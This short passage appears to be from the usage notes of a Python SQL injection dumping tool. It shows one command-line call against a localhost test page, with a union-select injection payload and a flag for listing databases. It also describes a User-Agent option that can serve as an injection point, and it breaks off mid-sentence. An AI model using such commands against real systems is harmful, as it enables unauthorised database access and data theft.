python dump.py --url "http://127.0.0.1/test/sqli/post/index.php?page=usercp" --params "id=1 and false union select 1,{inject_here}" --method POST --dbs [+] --user-agent This option is use to send a custom User-Agent header to the server, also it can be used as injection parameter. For default the script send "Python SQL Dumper" string as User-Agent. Example : How